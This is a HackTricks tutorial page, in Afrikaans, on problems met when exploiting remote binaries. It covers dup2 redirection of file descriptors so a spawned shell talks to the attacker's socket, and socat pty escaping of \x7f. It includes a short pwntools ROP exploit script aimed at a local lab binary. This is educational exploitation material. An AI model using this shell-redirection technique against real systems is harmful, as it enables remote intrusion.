hacktricks/binary-exploitation/common-exploiting-problems.md

4.1 KiB

Algemene Uitbuitingsprobleme

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

FD's in Afgeleë Uitbuiting

Wanneer 'n uitbuiting na 'n afgeleë bediener gestuur word wat byvoorbeeld system('/bin/sh') aanroep, sal dit natuurlik in die bedienerproses uitgevoer word, en /bin/sh sal insette vanaf stdin (FD: 0) verwag en die uitset in stdout en stderr (FD's 1 en 2) druk. Dus sal die aanvaller nie kan interaksie hê met die skaal nie.

'n Manier om dit te reg te stel, is om te veronderstel dat toe die bediener begin het, dit die FD-nommer 3 (vir luister) geskep het en dat jou verbinding dan in die FD-nommer 4 gaan wees. Daarom is dit moontlik om die syscall dup2 te gebruik om die stdin (FD 0) en die stdout (FD 1) te dupliseer in die FD 4 (die een van die aanvaller se verbinding) sodat dit moontlik is om die skaal te kontak sodra dit uitgevoer is.

Uitbuitingsvoorbeeld vanaf hier:

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

Let daarop dat socat reeds stdin en stdout na die soket oordra. Die pty modus sluit DELETE karakters in. Dus, as jy 'n \x7f (DELETE -) stuur, sal dit die vorige karakter van jou aanval verwyder.

Om hierdie te omseil, moet die ontsnappingskarakter \x16 voor enige \x7f wat gestuur word, geplaas word.

Hier kan jy 'n voorbeeld van hierdie gedrag vind.

Leer AWS hak van nul tot held met htARTE (HackTricks AWS Red Team Expert)!